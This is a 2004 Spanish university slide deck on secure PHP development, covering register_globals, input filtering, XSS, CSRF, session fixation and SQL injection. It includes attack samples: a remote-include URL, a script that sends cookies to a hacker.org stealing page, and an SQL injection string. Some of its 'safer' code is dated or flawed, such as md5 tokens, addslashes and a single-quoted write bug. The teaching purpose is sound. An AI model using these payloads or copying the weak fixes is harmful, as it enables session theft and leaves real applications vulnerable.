Codigo Seguro en PHP

Page 1

Desarrollo de Código Seguro 22 y 27 de Septiembre de 2004

Facultad Regional Concepción del Uruguay Universidad Tecnológica Nacional

Gabriel Arellano arellanog@frcu.utn.edu.ar

Seguridad en PHP – Lineamientos Generales. – Filtrado de la Entrada. – Utilización de Librerías. – Diseño en Tres Capas.

Alejandro de Brito Fontes debritoa@frcu.utn.edu.ar

Introducción PHP es un lenguaje que en casi todos los casos estará soportando aplicaciones accesibles vía Internet. Por esto se deben tener en cuenta aspectos de seguridad que normalmente se pasarían por alto en el caso de lenguajes de programación tradicionales.

Register Globals La directiva register_globals permite que las variables pasadas por el cliente se registren como variables globales en nuestras aplicaciones. Esta directiva está desabilitada por defecto desde la versión 4.1.0 de PHP.

En principio: • Considere los usos ilegítimos de su aplicación. • Filtre la información proveniente del exterior. • Investigue constantemente.

Esta directiva en sí no es una vulnerabilidad, pero representa un riesgo de seguridad. Por lo tanto debería diseñar sus aplicaciones para que funcionen sin register_globals activada.


Register Globals

Register Globals

Tomemos este ejemplo: <?php include "$path/common.php"; ?>

Recomendaciones: •Inicializar todas la variables antes de utilizarlas.

Si register_globals estuviera activada e hiciera una consulta como esta: script.php?path=http%3A%2F%2Fhacker.org%2F%3F

Mi script quedaría:

•Establecer error_reporting a E_ALL durante el desarrollo. •Siempre tomar los valores de los arreglos _POST y _GET. •Evitar trabajar con register_globals activado.

<?php include "http://hacker.org/common.php"; ?>

Filtrado de la Entrada Como afirmamos varias veces, el filtrado de la información que el cliente envía es la pieza fundamental de la seguridad web. Esto involucra establecer mecanismos mediante los cuales se pueda determinar la validez de los datos que están siendo enviados. Un buen diseño debe ayudar a los desarrolladores a: • Asegurar que el filtrado de datos no pueda evitarse. • Asegurar que información inválida no pueda ser confundida con información válida. • Identificar el origen de los datos.

Filtrado de la Entrada Para lograr los objetivos planteados anteriormente se pueden considerar dos enfoques: El enfoque dispatch (despachador). Un único script es el que está disponible vía web. Todo lo demás son módulos que se invocan a través de llamadas include o require. El enfoque include. Contamos con un único módulo encargado de las funciones de seguridad. Este módulo es incluído al principio de todos nuestros scripts que están disponibles vía web.


El enfoque dispatch Este método normalmente requiere que se pase una variable con la operación a realizar (En lugar de llamar a un script en particular). Por ejemplo: http://www.compras.com/main.php?accion=imprimir

El script main.php es el único disponible vía web. Esto permite al desarrollador: • Implementar medidas de seguridad en el script main.php y asegurarse que esas medidas no puedan ser evitadas. • Fácilmente verificar que el filtrado de datos es llevado a cabo ya que todos los datos pasan por el script main.php.

El enfoque include El enfoque include es el de tener unúnico módulo encargado de las funciones de seguridad. Este módulo es incluido al principio de todos los scripts. Por ejemplo: <?php switch ($_POST['formulario']){ case 'login': $permitido = array(); $permitido[] = 'formulario'; $permitido[] = 'usuario'; $permitido[] = 'contrasenia'; $enviado = array_keys($_POST); if ($permitido == $enviado){ include '/inc/logic/procesar.inc'; } break; } ?>

El enfoque dispatch <?php /* Medidas de seguridad */ switch ($_GET['accion']){ case 'imprimir': include '/inc/presentation/form.inc'; break; case 'procesar': $form_valid = false; include '/inc/logic/process.inc'; if ($form_valid) { include '/inc/presentation/end.inc'; } else { include '/inc/presentation/form.inc'; } break; default: include '/inc/presentation/index.inc'; break; } ?>

Filtrado de la Entrada En cuanto a los datos recibidos desde el cliente es importante tomar un enfoque de “lo que no está explícitamente definido no se considera válido” Por ejemplo, para recibir una dirección de correo: <?php $validos = array(); $email_pattern='/^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'; if (preg_match($email_pattern, $_POST['email'])){ $validas['email'] = $_POST['email']; } ?>

Este enfoque es difícil y hasta imposible de implementar cuando no sabemos el tipo de dato que vamos a manejar.


Filtrado de la Entrada También es recomendable implementar este enfoque cuando el número de opciones o valores aceptables son conocidos de antemano:

Filtrado de la Entrada Es recomendable también asegurarse que los datos enviados sean del mismo tipo que el de la variable que los recibirá: Por ejemplo:

Por ejemplo: <?php $validos = array(); switch ($_POST['color']){ case 'rojo': case 'verde': case 'azul': $validos['color'] = $_POST['color']; break; } ?>

Cross Site Scripting Los ataques de XSS se basan en explotar la confianza que tienen los usuarios (o sus navegadores) en el sitio que visitan. Miremos este ejemplo de un libro de visitas muy simple: <form> <input type="text" name="mensaje"><br /> <input type="submit"> </form> <?php if (isset($_GET['mensaje'])){ $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, "{$_GET['mensaje']}<br />"); fclose($fp); } readfile('./mensajes.txt'); ?>

<?php $validos = array(); if ($_POST['num1'] == strval(intval($_POST['num1']))){ $validos['num1'] = $_POST['num1']; } if ($_POST['num2'] == strval(floatval($_POST['num2']))){ $validos['num2'] = $_POST['num2']; } ?>

Cross Site Scripting Daría como resultado algo como esto:


Cross Site Scripting

Cross Site Scripting

Qué ocurriría si un visitante deja este mensaje?

Una versión más segura de nuestro libro de visitas:

<script> document.location = 'http://www.hacker.org/steal_cookies.php?cookies=' + document.cookie </script>

<form> <input type="text" name="mensaje"><br /> <input type="submit"> </form>

Cada vez que alguien visite la página todas sus cookies serían enviadas al script steal_cookies.php ubicado en un sitio distinto al nuestro... Para que este ataque sea efectivo hace falta que el navegador de la víctima tenga JavaScript activado.

Cross Site Request Forgeries A diferencia de XSS en este tipo de ataques se explota la confianza que un sitio le tiene a sus usuarios. En general se basan en la modificación de los pedidos que realizan usuarios válidos. Primero veamos cómo se hace un pedido HTTP: GET / HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*

Aquí pedimos la página principal de example.org

<?php if (isset($_GET['mensaje'])){ $mensaje = htmlentities($_GET['mensaje']); $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, '$mensaje<br />'); fclose($fp); } readfile('./mensajes.txt'); ?>

Cross Site Request Forgeries La respuesta al pedido anterior sería por ejemplo: HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57 <html> <img src="http://example.org/image.png" /> </html>

Que generaría otro pedido: GET /image.png HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*

Mi servidor no tiene manera de distinguir este pedido de un pedido hecho “a mano” por un usuario malicioso.


Cross Site Request Forgeries

Cross Site Request Forgeries Una versión más segura de nuestro libro de visitas:

Para prevenir este tipo de ataques hay ciertas medidas que podemos tomar: • Usar POST en lugar de GET. • Usar _POST en lugar de confiarnos en register_globals. • No pensar solamente en conveniencia. • Forzar el uso de nuestros formularios.

Cross Site Request Forgeries

<?php $token = md5(time()); $fp = fopen('./tokens.txt', 'a'); fwrite($fp, "$token\n"); fclose($fp); ?> <form method="post"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <input type="text" name="message"><br /> <input type="submit"> </form>

Cross Site Request Forgeries

Una versión más segura de nuestro libro de visitas (Cont.)

En lugar del tiempo podemos emplear sesiones y uniqid()

<?php $tokens = file('./tokens.txt'); if (in_array($_POST['token'], $tokens)){ if (isset($_POST['mensaje'])){ $mensaje = htmlentities($_POST['mensaje']); $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, "$mensaje<br />"); fclose($fp); fclose($fp); } } readfile('./mensajes.txt'); ?>

<?php session_start(); if (isset($_POST['message'])){ if ($_POST['token'] == $_SESSION['token']){ $message = htmlentities($_POST['message']); $fp = fopen('./messages.txt', 'a'); fwrite($fp, "$message<br />"); fclose($fp); } } $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; ?>

Este script aún tiene alguna vulnerabilidades...


Manejo de Sesiones La seguridad de las sesiones es un tema complicado, por lo que no es de extrañarse que sean el objetivo de muchos ataques. La mayoría de los ataques a sesiones implican que el atacante intenta acceder a la sesión de otro usuario. La pieza crucial de información para un atacante es el identificador de sesión, ya que es lo único que necesita el atacante para lograr su objetivo. Existen básicamente tres métodos empleados para obtener las credenciales de otro usuario:

Fijación de Sesiones Tomemos como ejemplo el siguiente script: <?php session_start(); if (!isset($_SESSION['visitas'])){ $_SESSION['visitas'] = 1; } else{ $_SESSION['visitas']++; } echo $_SESSION['visitas']; ?>

Qué ocurriría si yo hiciera un pedido como el siguiente? • Predicción. • Captura. • Fijación.

Fijación de Sesiones Una solución sería tratar de identificar la fuente de la sesión (el equipo del usuario que inicio la sesión). <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])){ if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])){ /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?>

http://example.com/script.php?PHPSESSID=1234

Acceso a Bases de Datos El usar bases de datos implica que nuestra aplicación deberá conectarse a las mismas y para ello deberá emplear las credenciales correspondientes. <?php $host = 'example.org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); ?>

Este es el típico script de conexión que encontraremos en casi cualquier aplicación en php que emplee bases de datos. Este script es llamado por cualquier otro que desee conectarse a la base de datos. Debemos asegurarnos que sólo sea accesible a scripts autorizados.


SQL Injection El usar bases de datos implica que nuestra aplicación deberá conectarse a las mismas y para ello deberá emplear las credenciales correspondientes.

SQL Injection Supongamos que un usuario malicioso escribe en su nombre de usuario: bad_guy', 'mypass', ''), ('good_guy

<?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', '$reg_password', '{$_POST['reg_email']}')"; ?>

Este script recibe los datos de un formulario donde el usuario escribe su nombre, contraseña y dirección de email.

La consulta resultante sería: <?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES (' bad_guy', 'mypass', ''), ('good_guy','1234','shiflett@php.net')"; ?>

Con lo cual se crean dos usuarios.

SQL Injection Lo podríamos solucionar con la función específica para mysql: <?php $username = mysql_escape_string($_POST['reg_username']); $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('$username', '$reg_password', '{$_POST['reg_email']}')"; ?>

O bien con una solución más general: $username = addslashes($_POST['reg_username']);

Recursos Libros: “Secure PHP Development” Mohammed J. Kabir - Ed. Wiley Publishing. Recursos on-line: “PHP Security – Open Source Convention” http://shiflett.org/talks/oscon2004/php-security “Open Web Application Security Project” http://www.owasp.org/ “Cgisecurity ” http://www.cgisecurity.com


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.